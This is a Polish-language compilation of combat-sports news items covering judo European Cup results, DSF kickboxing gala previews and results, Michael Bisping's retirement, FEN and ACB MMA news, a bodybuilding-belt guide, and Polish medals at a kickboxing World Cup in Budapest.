W tym roku Paula Kulaga (78kg) stała już na podium. Zawodniczka TDK Judo Trzcianka zajęła drugie miejsce w Warszawie. Start w Madrycie 22-letnia Kulaga rozpoczęła od dwóch wygranych pojedynków. W trzecim starciu na jej drodze stanęła Valeria Ferrari. Włoszka potrzebowała niecałej minuty, aby zapisać na swoim koncie zwycięstwo. Kulaga trafiła do repasaży, gdzie poradziła sobie z Patriciją Brolih i stanęła do walki o brązowy medal. Na Polkę czekała kolejna zawodniczka z Włoch – Assunta Galeone. Kulaga zapisała na swoim koncie waza-ari i dzięki temu stanęła na podium.

Siódme miejsca prześladowały w tym roku Annę Załęczną (+78kg), która na tychże lokatach plasowała się z Odivelas i Warszawie. W Madrycie odmiana – Załęczna znalazła się na podium. Szybka wygrana z Martą Anton Elias rozbudziła apetyt, ale Sarah Adlington pozbawiła Polkę szans na finał. 22-letnia Załęczna w starciu o brąz w niecałą minutę uporała się z Patricią Ferrer Bartulos.

Powoli z seniorskim startami oswaja się Kacper Szczurowski (100kg), który w tamtym roku miał okazję zaprezentować się w Katowicach, jednak bez powodzenia. 21-latek może być zadowolony ze swojego występu w Madrycie. W Pucharze Świata Szczurowski stoczył pięć walk, z których cztery wygrał. Polak "szedł jak burza" i pokonywał kolejnych rywali przed czasem. W finale zatrzymał go Zalan Ohat z Węgier.

W klasyfikacji medalowej Polska uplasowała się na dziewiątym miejscu. Najlepsi Niemcy z dorobkiem ośmiu krążków, za nimi Francja (6) i Hiszpania (12, ale tylko dwa złote przy trzech Niemców i Francuzów).

Złota Paulina

Pierwsze zwycięstwo w zawodach Pucharu Europy Juniorek odniosła Paulina Dziopa (+78kg). 19-letnia Polka triumfowała w Leibnitz. Dziopa wygrała cztery walki, w tym trzy przez ippon.

Siódme miejsce w Leibnitz zajął Jakub Pańkowski (73kg), dziewiąty był Kacper Kaczor (66kg).

Fot. EJU/pzjudo.pl

KM

Pokaz siły Jenela

Gala DSF Kickboxing Challenge 16: Śląskie Tąpnięcie, która odbyla się w Zabrzu przeszła do historii. W walce wieczoru Kamil Jenel udowodnił, że jest prawdziwym wojownikiem. Zawodnik Paco Team Katowice w wielkim stylu obronił pas mistrzowski. Tytuł zachował również Maksymilian Bratkowicz.

Kamil Jenel zapisał na swoim koncie drugą udaną obronę pasa mistrzowskiego w kategorii do 81kg. Zawodnik Paco Team Katowice przed czasem pokonał Eduarda Aleksanyana. Bułgar zaczął pojedynek zdecydowanie i wydawało się, że Jenel może mieć kłopoty. Polak przyjął wiele ciosów, ale przetrwał napór przeciwnika. W drugiej rundzie Jenel zaczął dochodzić do głosu, a w trzeciej rozbijał Aleksanyana, który ostatecznie nie był w stanie dalej walczyć.

W Zabrzu do pierwszej obrony pasa w wadze średniej stanął Maksymilian Bratkowicz. Mistrz miał do wyrównania rachunki z Bricem Kombou, z którym przegrał podczas gali DSF 8. Zmotywowany Bratkowicz nie pozostawił rywalowi żadnych szans. Wszyscy sędziowie wskazali na mistrza – 50:46.

Pas w kategorii do 71kg trafił w ręce Jarosława Daschke, który jednogłośną decyzją sędziów pokonał Rafała Dudka. Walka należała do tych z kategorii ciekawych. Kibice ani przez chwilę nie mogli narzekać na nudę. Energiczna, bogata w wymiany walka zakończyła się po myśli Daschke, który latającym kopnięciem zranił rywala. Dudek jednak wstał, ale jego rywal coraz częściej dochodził do głosu. Pięć niezwykle ciekawych rund i zwycięstwo Jarosława Daschke w Zabrzu.

Zdecydowanie w szeregi federacji DSF zawitała Iwona Nieroda. Na przestrzeni trzech rund Polka wypunktowała Yael Yvon. Udany debiut zaliczył również Michał Kita. Tym razem doświadczenie górowało nad młodością. Na przestrzeni trzech rund Kita pokonał Denisa Górniaka. 38-latek dyktował tempo walki, trafiał rywala kolejnymi kopnięciami. Na początku trzeciej odsłony Górniak odważnie zaatakował, jednak Kita kontrolował sytuację. Sędziowie nie mieli wątpliwości, komu należy się zwycięstwo.

Dwa lata temu Dominik Zadora musiał pogodzić się z porażką w starciu z Wojciechem Kosowskim. Tym razem ręce w geście triumfu mógł wznieść zawodnik pochodzący z Bolesławca. – I po raz kolejny… MAMY TO!!! Po mocnych 3 rundach jednogłośną decyzją wygrana na punkty – napisał Zadora na Facebooku.

Wyniki gali DSF 16: Śląskie Tąpnięcie:

Walka wieczoru: (K1, 81 kg 5x3min) Kamil Jenel pokonał  Eduarda Aleksanyana (TKO 3 RUNDA)

Walka o pas: (K1, 86 kg 5x3min) Maksymilian Bratkowicz pokonał Brice’a Kombou (DECYZJA)

Walka o pas: (K1, 71 kg 5x3min) Jarosław Daschke pokonał Rafała Dudka (DECYZJA)

(K1, +96 kg) Michał Kita pokonał Denisa Górniaka (DECYZJA)

(K1, 65 kg) Mateusz Rajewski pokonał Wojciecha Kazieczko (DECYZJA)

(K1, 77 kg) Dominik Zadora pokonał Wojciecha Kosowskiego (DECYZJA)

(K1, 56 kg) Iwona Nieroda pokonała Yael Yvon (DECYZJA)

(K1, 75 kg) Michał Ronkiewicz pokonał Adriana Mitu (DECYZJA)

 

(K1, +96kg) Dzaved Poturak pokonał Łukasza Lipniackiego (DECYZJA)

(K1, 60 kg) Dominik Tomica pokonał Łukasza Łanowskiego (DECYZJA)

(K1, 81 kg) Patryk Małecki pokonał Artura Giersa (DECYZJA)

(K1, 91 kg) Mateusz Janu pokonał Patryka Klapsię (TKO, 3 RUNDA)

(Muay Thai, 71 kg) Jakub Rajewski pokonal Kamila Piątkiewicza (DECYZJA)

Fot. Kamil Jenel Facebook

KM

Szykuje się Śląskie Tąpnięcie

Trzy walki o pasy mistrzowskie zobaczymy podczas zbliżającej się gali DSF Kickboxing Challenge 16: Śląskie Tąpnięcie, która odbędzie się 1 czerwca w Zabrzu.

Federacja nie zwalnia tempa. Dwa tygodnie temu w hali przy ul. Szwedzkiej 2/4 w Warszawie odbyła się gala DSF 15: Bastion Chwały. W walce wieczoru Jan Lodzik obronił pas mistrzowski wagi piórkowej, pokonując Yury'a Zhukovsky'ego. Udanie w organizacji DSF zadebiutował Maciej Jewtuszko, który pokonał Roberta Krasonia. DSF 15 to już historia, teraz czas na kolejne uderzenie!

Przenosimy się do Zabrza, bo właśnie tam – w zabytkowej kopalni węgla kamiennego Guido odbędzie się gala DSF 16: Śląskie Tąpnięcie. W walce wieczoru zaprezentuje się Kamil Jenel, który będzie bronił pasa mistrzowskiego w kategorii do 81kg. Polak zmierzy się z Eduardem Aleksanyanem. Przez długi czas dywagowano, czy w Zabrzu dojdzie do rewanżu Jenela z Kamilem Rutą, któremu zawodnik Paco Team Katowice odebrał pas. Jeśli czempion zachowa tytuł, istnieje ogromne prawdopodobieństwo, że w następnej walce spotka się z mistrzem świata z Turcji z 2013 roku. Warto dodać, że w pierwszej obronie pasa, po zaciętym starciu, Jenel pokonał Eduarda Andronache.

W Nowym Dworze Mazowieckim Brice Kombou świętował zwycięstwo nad Piotrem Strusem. Po morderczej wymianie, sędziowie wskazali na Kameruńczyka. Tym samym Kombou zapracował na starcie o pas. Jego rywalem będzie Maksymilian Bratkowicz, który stanie do pierwszej obrony tytułu w wadze średniej (86kg). W lutym zawodnik Gym Fight Wrocław pokonał Mateusza Kubiszyna, któremu zrewanżował się za porażkę z 2016 roku i sięgnął po pas. Z Kombou mistrz również ma rachunki do wyrównania. Kameruńczyk z niemieckim paszportem okazał się lepszy od Polaka podczas gali DSF 8. – Jestem zwarty i gotowy, wyczekuje dnia dziecka – podkreśla Maksymilian Bratkowicz.

W marcu Jarosław Daschke podpisał kontrakt z federacją DSF. W Zabrzu wielokrotny mistrz Polski w kickboxingu zmierzy się z Rafałem Dudkiem o pas w wadze do 71kg. Sądeczanin, mający na koncie pojedynki dla Glory, na gali DSF: Twierdza wygrał  Zhorą Akopyanem. Zarówno Daschke, jak i Dudek to doświadczeni zawodnicy z bogatym dorobkiem. Kto wzbogaci swój stan posiadania?

Pierwszą walkę dla DSF stoczy Michał Kita. Jego rywalem będzie Denis "Flinston" Górniak.

Karta walk DSF 16: Śląskie Tąpnięcie:

Jakub Rajewski –  Kamil Piątkiewicz Muay Thai, 71 kg

Patryk Klapsia – Mateusz Janu K1, 91 kg

Damian Pająk – Patryk Małecki K1, 81 kg

Dominik Tomica –  Łukasz Łanowski (POLSKA)  K1, 60 kg

Walki PRO:

Iwona Nieroda – Yael Yvon (AUSTRIA)  K1, 56 kg

Mateusz Rajewski – Wojciech Kazieczko K1, 65 kg

Michał Ronkiewicz – Adrian Mitu (RUMUNIA) K1, 75 kg

Dominika Zadora – Wojciech Kosowski K1, 77 kg

Michał Kita – Denis Górniak  K1, +96 kg  

WALKA O PAS DSF

Rafał Dudek – Jarosław Daschke K1, 71 kg

Maksymilian Bratkowicz – Brice Kombou (KAMERUN)  K1, 86 kg

WALKA WIECZORU O PAS DSF

Kamil Jenel – Eduard Aleksanyan K1, 81 kg

KM

Bisping przeszedł na sportową emeryturę

Były mistrz UFC w wadze średniej Michael Bisping podjął decyzję o zakończeniu kariery. 39-letni Anglik już wcześniej rozważał taki krok.

Bisping przygodę z UFC rozpoczął w 2006 roku. W ciągu dwunastu lat stoczył dla najlepszej organizacji MMA na świecie 29 walk, z których 20 wygrał. 4 czerwca 2016 (UFC 199) stanął do starcia o pas wagi średniej. Bisping wskoczył w miejsce kontuzjowanego Chrisa Weidmana i w pierwszej rundzie pokonał Luke'a Rockholda. Warto dodać, że dwa lata wcześniej Amerykanin rozprawił się z Anglikiem. Bisping tylko raz skutecznie bronił mistrzowskiej zdobyczy. W październiku 2016 roku po pięciorundowym boju pokonał Dana Hendersona. W kolejnym starciu górą był Georges St. Pierre. Ostatni pojedynek Bisping stoczył w listopadzie ubiegłego roku (UFC Fight Night 122). 39-letni Anglik przegrał przez nokaut z Kelvinem Gastelumem.

W ostatnim czasie w głowie Bispinga kiełkowała myśli o pożegnalnej walce, jednak prawdopodobnie do niej nie dojdzie. Były mistrz wagi średniej odchodzi na sportową emeryturę. Powodem są problemy z okiem, które pojawiły się w 2013 roku. Podczas gali UFC on FX 7 Bisping przegrał z Vitorem Belfortem. Jedno z kopnięć ze strony Brazylijczyka doprowadziło do odklejenia siatkówki w oku Bispinga. Ale w ostatnich miesiącach u Anglika wystąpiły problemy z drugim okiem. – Po walce z Gastelumem poszedłem na imprezę z całym moim zespołem. Przebywaliśmy w klubie. Było ciemno, ale kątem zdrowego oka widziałem jakieś błyski. Myślę – co się dzieje? – opowiada Michael Bisping.

Anglik udał się do lekarza, który stwierdził, że doszło do odłączenia ciała szklistego. Bisping nie ukrywa przerażenia. Przez długi czas bił się z myślami, jednak po obejrzeniu filmu "Jorneyman" podjął decyzję o zakończeniu kariery. – Zdobyłem pas, wygrałem mnóstwo walk, zrobiłem to, co postanowiłem. Jaki jest sens tracenia energii? Musisz wiedzieć, kiedy odejść. Mam prawie 40 lat, nadszedł czas. Chcę powiedzieć: dziękuję mojej żonie. Bez niej by się to nie stało. Moim dzieciom, mojemu tacie i oczywiście wszystkim z Wielkiej Brytanii i całego świata, którzy mnie wspierali – powiedział Bisping.

Fot. Michael Bisping Facebook

KM

Wymiana Jurkowskiego i Najmana

Narodowa Gala Boksu na stadionie PGE Narodowy w Warszawie miała być wielkim świętem. Wydarzenie spotkało się z wieloma krytycznymi opiniami. Również znany zawodnik MMA i komentator Łukasz Jurkowski dorzucił "swoje trzy grosze".

Legendarny Michael Buffer zapowiadający kolejnych zawodników, ogromny stadion, czołowi polscy pięściarze i zawodnicy K-1. Miała być uczta dla fanów sportów walki, a PGE Narodowy raził pustymi miejscami. Narodowa Gala Sportu była mocno promowana, jednak końcowy efekt rozczarował. Mocno oberwało się Marcinowi Najmanowi, który odpowiadał za organizację przedsięwzięcia.

W gronie krytykujących NGS znalazł się Łukasz Jurkowski. – Fakt jest taki, że PGE Narodowy świecił pustkami, jak pojemnik ze wstydem organizatora tej gali. Cytując klasyka „spoko spoko, zaraz się rozkręci” też nie znalazło odzwierciedlenia, bo jakoś specjalnie bliżej głównych walk kibiców nie przybywało. Nie pomogło nawet sprzedawanie biletów przez serwisy z rabatami i rozdawanie ich gdzie popadnie. Szkoda… serio. Szkoda mi wszystkich zawodników, którzy brali udział w tym przedstawieniu, bo to mogła być dla nich wielka chwila w sportowej karierze. Wiem, co mówię, bo jutro mija dokładnie rok (27 maja 2017) kiedy wychodziłem do walki przy 57 500 tysiącach kibiców. Niezapomniane chwilę. Wielu z bohaterów NGB ciężko trenowało aby zaprezentować się z dobrej strony przed kibicami i widzami jakby nie było telewizji publicznej. Wiem, bo widziałem jaką robotę zrobili Artur Szpilka, Izu czy Ewka Piątkowska – napisał na swoim blogu laczynaspasja.pl/juras-blog/. Przy okazji „Juras” nie szczędził cierpkich słów Marcinowi Najmanowi, którego określił mianem „nieudacznika”.

„El Testosteron” nie pozostał obojętny na krytykę ze strony Łukasza Jurkowskiego. Bokser wytoczył „ciężkie działa”. – Niesamowite, że damski bokser Łukasz Jurkowski ma czelność pisać coś o Narodowej Gali Boksu i umieszczać tam słowo wstyd. Najpierw prawie zabił swoją dziewczynę na motorze, później jego dziewczyna oznajmiła światu kim naprawdę jest Łukasz Jurkowski. Z pozdrowieniem dla wszystkich publikujących jego wypociny na nasz temat. Czyli temat Polskiego Boksu – w taki sposób do sprawy odniósł się na Facebooku Marcin Najman.

Na odpowiedź Jurkowskiego nie trzeba było długo czekać… – Nie będę zniżał się do poziomu, jaki prezentuje zarówno sportowo jak i prywatnie. Dno Dna. Co do zaś wskazanych oskarżeń ze strony "mistrza ringu" informuję, iż sprawa zniesławienia na którą sie powołuje juz niedługo znajdzie swój finał w sądzie, a odpowiednia dokumentacja została złożona. Przy okazji zaznaczam, iż to co robisz to zwykłe pomówienie. Postaram się abyś wspomógł finansowo wybrany przez Nas cel charytatywny – odpowiedział „Juras” na Facebooku.

Jak widać na przykładzie powyższej „wymiany”, Narodowa Gala Boksu stała się przedmiotem gorącej dyskusji.  Ale dopiero po jej zakończeniu. W trakcie zabrakło „ognia”.

KM

Kto zostanie królem Wrocławia?

Gala FEN 21 we wrocławskiej Hali Orbita ma być widowiskiem sportowym najwyższego rzędu. Czy tak będzie? Przekonamy się o tym już 25 maja. W walce wieczoru o pas wagi średniej w walce na zasadach MMA zmierzą się Thiago Vieira i Andrzej Grzebyk.

26-letni Brazylijczyk będzie miał okazję poznać smak rywalizacji w Polsce. Szybki i do bólu skuteczny – taki jest popularny "Mostro". Po walkach z udziałem Vieiry należy spodziewać się efektowności. Brazylijczyk wygrał dziesięć pojedynków w karierze i wszystkie zwycięstwa zanotował przed czasem. Na swoim koncie ma również dwie porażki. Jeśli Andrzej Grzebyk chce zdobyć pas mistrzowski, w walce z Vieirą będzie musiał wspiąć się na szczyt. A że potrafi pobudzić publiczność udowodnił podczas gali FEN 20 w Warszawie, gdzie pokonał przez nokaut Anatolija Litwoinova. 27-letni Polak stoczy piąty pojedynek dla wrocławskiej organizacji. Dotychczas wygrał trzy starcia, czym utorował sobie drogę do pojedynku o pas. Zderzenie Vieiry i Grzebyka zapowiada się niezwykle gorąco. Polski zawodnik również walczy ofensywnie – osiem z dwunastu walk wygrał przed czasem.

We Wrocławiu dojdzie do starcia o pas mistrzowski K-1 w kategorii do 77kg pomiędzy Łukaszem Wierzbickim a Łukaszem Pławeckim. Zawodnik z Dolnego Śląska ma bogaty dorobek, w którym widnieje m.in. mistrzostwo Europy oraz tytuł międzynarodowego mistrza Polski w K-1. Na gali FEN 12 Wierzbicki stoczył niezwykle zacięty bój z Zakarią Baitarem. Sędziowie wskazali na Polaka, który zdobył tymczasowy pas FEN. Następnie Wierzbicki stworzył kapitalne widowisko z Pawłem Biszczakiem, jednak z triumfu cieszył się rywal. We Wrocławiu Wierzbicki chce ponownie znaleźć się w posiadaniu pasa, ale Pławecki nie ułatwi mu zadania. Doświadczony zawodnik zadebiutuje w organizacji FEN i będzie celował w kolejny pas. W ostatnim czasie zapisał na swoim koncie tytuły mistrzowskie w organizacjach MFC Gladiator i MFC. Warto dodać, że starcie Wierzbickiego z Pławeckim będzie jedynym pojedynkiem K-1 podczas całej gali FEN 21.

Marcin Zontek (93kg) liczy na przełamanie. 38-letni zawodnik MMA przegrał dwa ostatnie pojedynki w FEN. Po raz ostatni wygrał w styczniu 2016, kiedy to odprawił Arunasa Viliusa. We Wrocławiu rywalem Zontka będzie doświadczony Toni Valtonen. 39-letni Fin ma za sobą występy na KSW, gdzie pokonał Łukasza Jurkowskiego i przegrał z Janem Błachowiczem. W ostatnim pojedynku Valtonen przegrał z Borysem Polezhai.

Marian Ziółkowski (70kg) zapoluje na drugą wygraną w FEN. Ostatnio przegrał przed czasem z Mateuszem Rębeckim. Z kolei jego rywal, Patryk Nowak, ma za sobą efektowną wygraną z Jakubem Mroczkowskim na gali FEN 19.

Karta walk FEN 21:

Thiago Vieira – Andrzej Grzebyk -84 kg

Łukasz Pławecki – Wojciech Wierzbicki -77 kg K-1

Toni Valtonen – Marcin Zontek -93 kg

Jacek Jędraszczyk – Tymoteusz Łopaczyk -77 kg

Łukasz Kopera – Mateusz Głąb -70 kg

Patryk Nowak – Marian Ziółkowski -70 kg

Szymon Dusza – Oskar Somerfeld -77 kg

Grzegorz Ciepliński – Marcin Sianos -120 kg

Kewin Wiwatowski – Bartosz Leśko -93 kg

 

KM

Strus na szczycie, będzie walka o pas?

Wygrana z Fernando Gonzalezem przybliżyła Piotra Strusa do walki o pas ACB. Polski zawodnik awansował w rankingu wagi średniej na pierwsze miejsce. Czy kolejnym rywalem Strusa będzie mistrz Albert Duraev?

Znakomita postawa 29-latka z Warszawy w organizacji ACB. Piotr Strus nie przegrał żadnej walki i wyrasta na pierwszoplanową postać wagi średniej. Podczas gali w Nottingham Polak na przestrzeni trzech rund wypunktował doświadczonego Fernando Gonzaleza. Rywal tylko w trzeciej rundzie miał swoje "pięć minut". Amerykanin trafił Strusa lewym sierpem, który nieco oszołomił Polaka. Na przestrzeni całego starcia przewaga 29-latka nie podlegała dyskusji, ale… Decyzja sędziów była zaskakująca – Polak wygrał, ale niejedno głośnym werdyktem.

Pojedynki Strusa w ACB mogą się podobać. Polak walczy widowiskowo, co robi wrażenie na widzach. W debiucie nie miał litości dla Michaila Tsareva, który nie wyszedł do trzeciej rundy. Andy De Vent i Nikola Dipchikov również przed czasem musieli uznać wyższość Strusa. Tylko pojedynek z Mikhailem Kolobegovem zakończył się nie po myśli Polaka, ale werdykt wzbudził wiele kontrowersji i w końcu starcie uznano za nierozstrzygnięte.

Piętnaście miesięcy wystarczyło 29-latkowi, aby zgłosić aspiracje do walki o pas. Trzeba jasno przyznać, że Polak ma ku temu argumenty. Po starciu z Gonzalezem jasno sprecyzował swoje najbliższe plany. – Chcę walki o pas ACB – powtórzył już niejednokrotnie Strus.

Czwarta wygrana w organizacji ACB sprawiła, że Strus wyprzedził Abdula-Rahmana Dzhanaeva i znalazł się na pierwszej pozycji w rankingu kategorii średniej. Mistrzem jest Albert Duraev, który pas wywalczył pół roku temu. Na gali ACB 77 zasypał ciosami Vyacheslava Vasilevsky'ego i wygrał w pierwszej rundzie. Duraev ma imponujące statystyki. Ostatnią porażkę zanotował ponad trzy lata temu. 29-letni Duraev wygrał siedem kolejnych pojedynków, w tym sześć przed czasem. Wcześniej Rosjanin był czempionem wagi półśredniej.

Strus spogląda w stronę Duraeva i liczy, że w najbliższej walce będzie miał okazję rywalizować o tytuł mistrzowski. Polak zrobił wszystko, żeby tak się stało. Trzeba wspomnieć, że już w grudniu 2017 roku mówiło się o możliwym starciu Strusa z Duraevem. Minęło kilka miesięcy i droga do pojedynku jest (chyba) znacznie krótsza.

Fot. Piotr Strus Facebook

KM

Jeden medal na koncie Polaków

Tylko Mateusz Kozłowski (73kg) wywalczył medal dla Polski w Pucharze Europy kadetów w judo w Bielsku-Białej. Rok temu biało-czerwoni zdobyli trzy krążki. Z kolei w Koper (Słowenia) odbyły się mistrzostwa Europy w formule kata. Leszek Piąstka i Anna Jagiełło na 9. miejscu.

Święto judo w Bielsku-Białej. Na starcie pojawiło się ponad 500 zawodniczek i zawodników, w tym 84 osobowa kadra Polski. W 2017 roku w Bielsku na podium stawali Alicja Gowarzewska (40kg), Aleksandra Gaj (+70kg) oraz Adam Stodolski (73kg).

W mocno obsadzonym turnieju o medal było trudno. Do Bielska licznie zjechały kadry Japonii, Włoch, Rosji czy Ukrainy. Zgodnie z przewidywaniami rywalizację zdominowali reprezentanci Sbornej i Kraju Kwitnącej Wiśni. Wśród pań Japonki zdobyły cztery złote medale – An Miyai (44kg), Kokoro Fujishiro (52kg), Erika Okada (57kg) i Moka Kuwagata (70kg). Do tego złoto dołożył Kodai Sugawara (81kg). Z kolei czterech Rosjan na najwyższym stopniu wśród panów – Danila Korchemkin (50kg), Abrek Naguchev (66kg), Igor Talunin (73kg) i Matvey Kanikovskiy (90kg). Najlepsza w 48kg okazała się Irena Khubulova. W klasyfikacji medalowej triumfowali reprezentanci Sbornej, którzy zdobyli łącznie 15 krążków (5 złotych, 4 srebrne, 6 brązowych). Drugie miejsce dla Japonii (5, 1, 3), trzecie dla Węgier (2, 1, 3).

Polska na dwunastym miejscu w klasyfikacji medalowej, a to głównie zasługa Mateusza Kozłowskiego (73kg). 17-latek sięgnął po brąz. Droga po medal nie była łatwa. Kozłowski rozpoczął od wygranej z Jakovem Cvetko, ale później uległ Igorowi Taluninowi. Polak trafił do repasaży, gdzie musiał pokonać trzech rywali. Wyszedł zwycięsko, a w starciu o medal pokonał Czecha Daniela Pochopa. Pojedynek trwał blisko 6,5 minuty!

Biało-czerwoni mieli więcej medalowych szans, ale walki o brąz przegrały: Karina Grzywacz (40kg), Oliwia Onysk (40kg), Julia Jaroszewska (70kg), Maria Letkowska (+70kg).

Warto dodać, że w Pucharze Europy juniorek w La Corunii brąz zdobyła Aleksandra Kaleta (52kg).

Mistrzostwa w Koper

W Koper odbyły się mistrzostwa Europy w formule kata. Na 9. miejscu uplasowali się Leszek Piąstka i Anna Jagiełło, którzy poprawili wynik z poprzedniego czempionatu (13. lokata). W Koper startowali również Maciej Pudłowski i Anita Krawczyk – zajęli 10. pozycję.

Fot. Polski Związek Judo Facebook

KM

Wszystko co warto wiedzieć o pasach kulturystycznych

Pas do ćwiczeń czy jak kto woli pas kulturystyczny, choć swoim wyglądem przypomina dość znacząco pasek tradycyjny ( choć jest od niego znacznie bardziej szerszy) wykorzystywany jest przede wszystkim przez kulturystów, osoby uprawiające trójbój siłowy czy crossfit. Pas przeznaczony wyłącznie dla osób uprawiających trójbój siłowy ma stałą szerokość – 10 centymetrów i jest znacznie grubszy od klasycznego pasa kulturystycznego.

Jak działa pas do ćwiczeń?

W czasie podnoszenie dość dużych ciężarów, intensywnie napinają się mięśnie brzucha oraz mięśnie pleców. Pasy kulturystyczne stosowane są po to, aby ochronić odcinek lędźwiowy w czasie treningu. W przypadku słabych mięśni napięcie może okazać się dla nich zbyt silne i doprowadzić do poważnej kontuzji – pasy stosuję się właśnie po to, by zminimalizować ryzyko jej wystąpienia. Dużym minusem stosowania pasów do treningu jest jednak fakt, że w niezbyt naturalny sposób zapewniają one stabilizację mięśni w centralnym odcinku, czego konsekwencją jest zaprzestanie ich pracy, a to może prowadzić między innymi do:

  • uszkodzenia kręgosłupa,
  • skręcenia stawu skokowego.

Pasy kulturystyczne – stosować czy nie?

Cóż zdania odnośnie stosowania pasów kulturystycznych są dość mocno podzielone. Stosowanie pasa kulturystycznego ma zarówno swoje wady jak i zalety. Jednak jeżeli używany jest on zgodnie z pewnymi zasadami, przyniesie z pewnością więcej pożytku niż szkody. Zatem chcąc ćwiczyć z pasem kulturystyczny należy pamiętać, że:

  • pasy stosowane powinny być jedynie przy ćwiczeniach z naprawdę dużymi ciężarami;
  • z pasa kulturystycznego nie powinny korzystać osoby początkujące. Ich mięśnie stabilizujące nie są jeszcze odpowiednio wzmocnione, dlatego nie będą odpowiednio zachowywały się przy treningu z bardzo dużymi ciężarami;
  • pasy do ćwiczeń służą przede wszystkim zwiększeniu treningowych możliwości, dlatego warto korzystać z nich jedynie z w czasie bicia własnych rekordów. Nie ma konieczności używania ich w czasie nieco lżejszego treningu;
  • pasy sprawdzą się najlepiej w ćwiczeniach takich jak martwy ciąg, wyciskanie sztangi ( odbywające się między innymi nad głowę, w pozycji leżącej, sprzed klatki piersiowej czy zza karku) oraz przy przysiadach (szczególnie tych wykonywanych z dużym obciążeniem lub na maszynie Smitha);
  • przy stosowaniu pasów kulturystycznych warto zadbać o wzmocnienie mięśni brzucha;
  • przy każdym powtórzeniu warto zdejmować lub choćby rozluźniać pas. Niebezpieczne bowiem może być wykonywanie więcej niż 10 powtórzeń lub jednej serii danego ćwiczenia mając nałożony pas;
  • pas kulturystyczny nie powinien być nigdy noszony podczas całego treningu, bez jakichkolwiek przerw. Najlepiej zakładać go jedynie do najcięższych ćwiczeń, w których obciążenie jest zdecydowanie największe.

Ja wybrać pas do ćwiczeń?

Wybierając pas do ćwiczeń przede wszystkim należy zwrócić uwagę na jego następujące parametry:

  • rozmiar i szerokość ( dobrane do sylwetki),
  • materiał z jakiego został wykonany,
  • łatwość i szybkość wkładania/zdejmowania.

Polacy na pierwszym planie w Budapeszcie

Polscy kickboxerzy pokazali siłę! W Pucharze Świata w Budapeszcie biało-czerwoni znaleźli się w czołówce z dorobkiem 85 medali.

Tym samym Polacy znacznie poprawili wynik, który osiągnęli rok temu w stolicy Węgier. Wtedy to na swoim koncie zapisali 19 medali i zajęli 12. miejsce w klasyfikacji generalnej. Na ten rezultat wpływ miało wiele czynników m.in. fakt, że w turnieju nie wzięła udziału kadra low kick. Tegoroczny Puchar Świata w Budapeszcie to pokaz siły polskiego kickboxingu. Aż 24 złote medale, do tego 26 srebrnych i 35 brązowych zdobyła nasza drużyna. W zestawieniu krajowym najlepsi Węgrzy przed Ukrainą, Włochami i Polską (85 krążków).

Ponownie na najwyższym stopniu w Budapeszcie stanął Mateusz Kubiszyn (91kg) rywalizujący w full contact. W finale pokonał… Rafała Gąszczaka. – Mamy to! – napisał krótko na swoim Facebooku Kubiszyn. Trzy wygrane walki dały triumf Jakubowi Pokusie (71kg). Ze złota cieszą się również Karolina Mośko (48kg) oraz Patryk Możdżyński (60kg). O krok od najwyższego stopnia podium była Karolina Dziedzic (70kg), która w finale uległa Birgit Reitan Oksenes. Zapach złota w powietrzu czuli Rafał Nguyen (67kg) i Maciej Mościcki (81kg), ale musieli zadowolić się srebrnymi krążkami.  W tej samej formule poza podium wylądowała Paulina Saczuk (56kg). Poprzedni start na Węgrzech Polka zakończyła ze złotem. Piąte miejsce również dla Marty Pyry. W full contact brąz zawisł na szyi Emilii Czerwińskiej (60kg) i Poli Rogali (65kg). a także Sylwii Lewandowskiej, Anny Knobel, Pawła Dąbrowskiego, Dawida Aagyana, Michała Krawczyka i Tomasza Przybylskiego.

Prawdziwy pokaz siły w kick light dał Piotr Wypchał (89kg, 94kg). – Sparingi się udały. Dwa puchary jadą do Krakowa plus tytuł dla najlepszego zawodnika turnieju w kategorii Kick light. 5 walk do przodu, więc fajnie. Kilka akcji się udało przetestować, więc też fajnie . Jutro może trochę więcej informacji. Veni vidi victci czy jakoś tak – napisał zawodnik na Facebooku.

Złota w K-1 (+91kg) nie udało się wywalczyć Michałowi Bławdziewiczowi, który w decydującym pojedynku musiał uznać wyższość Romana Holovatiuka.  Sukces odniósł za to młody Filip Zawłocki (86kg) startujący wśród juniorów starszych. W finale pokonał Sebastiana Kuźniaka. – Walczyłem jakbym zupełnie nie był sobą, mimo to traktuje ten start jako sukces nie techniczny bądź sportowy (nie jestem zadowolony ze swoich walk) tylko psychiczny oraz emocjonalny. Niezwykle mi się to przydało – dzielił się swoimi wrażeniami Zawłocki. Złoto zdobył również Adrian Gunia (60kg).

Bezkonkurencyjny w low kick okazał się Kacper Frątczak (86kg). Polak pozostał w tyle Ukraińca Sergia Bohovycha. Na najwyższym stopniu podium stanął również Łukasz Kaczmarczyk (71kg), który w decydującym pojedynku uporał się z Arturem Zakirko. W low kick brąz zdobyli Kamil Krzyżaniak (63,5kg), Jakub Ogryzek (63,5kg), Bartek Domalik (81kg), Dominik Grzęda (91kg) oraz Adam Abood Al Hassani (+91kg). Wśród pań na najwyższym stopniu podium Karolina Kubiak (48kg).

MEDALIŚCI

point fighting – 65 kg 1 złoto Kalbarczyk Zuzanna
point fighting – 84 kg 2 srebro Maślanka Piotr
point fighting – 94 kg 3 brąz Maślanka Piotr
light contact – 42 kg 2 srebro Zarzycka Natalia
light contact – 79 kg 3 brąz Świstulski Klaudiusz
light contact – 74 kg 1 złoto Rafałko Łukasz
kick light – 63 kg 3 brąz Wojtowicz Łukasz
kick light – 63 kg 3 brąz Bendyk Adrian
kick light – 65 kg 1 złoto Kalbarczyk Zuzanna
kick light – 70 kg 1 złoto Stenka Paulina
kick light – 89 kg 1 złoto Wypchał Piotr
kick light – 94 kg 1 złoto Wypchał Piotr
kick light + 94 kg 1 złoto Sieńko Mirosław
full contact – 81 kg 2 srebro Mościcki Maciej
full contact – 60 kg 1 złoto Możdżyński Patryk
full contact – 60 kg 3 brąz Avgayan Dawid
full contact – 63,5 kg 3 brąz Krawczyk Michał
full contact – 67 kg 2 srebro Nguyen Rafał
full contact – 71 kg 1 złoto Pokusa Jakub
full contact – 75 kg 3 brąz Przybylski Tomasz
full contact – 91 kg 1 złoto Kubiszyn Mateusz
full contact – 91 kg 2 srebro Gąszczak Rafał
full contact – 48 kg 1 złoto Mośko Karolina
full contact – 52 kg 3 brąz Lewandowska Sylwia
full contact – 60 kg 3 brąz Czerwińska Emilia
full contact – 65 kg 3 brąz Rogala Pola
full contact – 70 kg 2 srebro Dziedzic Karolina
low kick – 63,5 kg 1 złoto Adamczewski Kacper
low kick – 57 kg 2 srebro Stępień Piotr
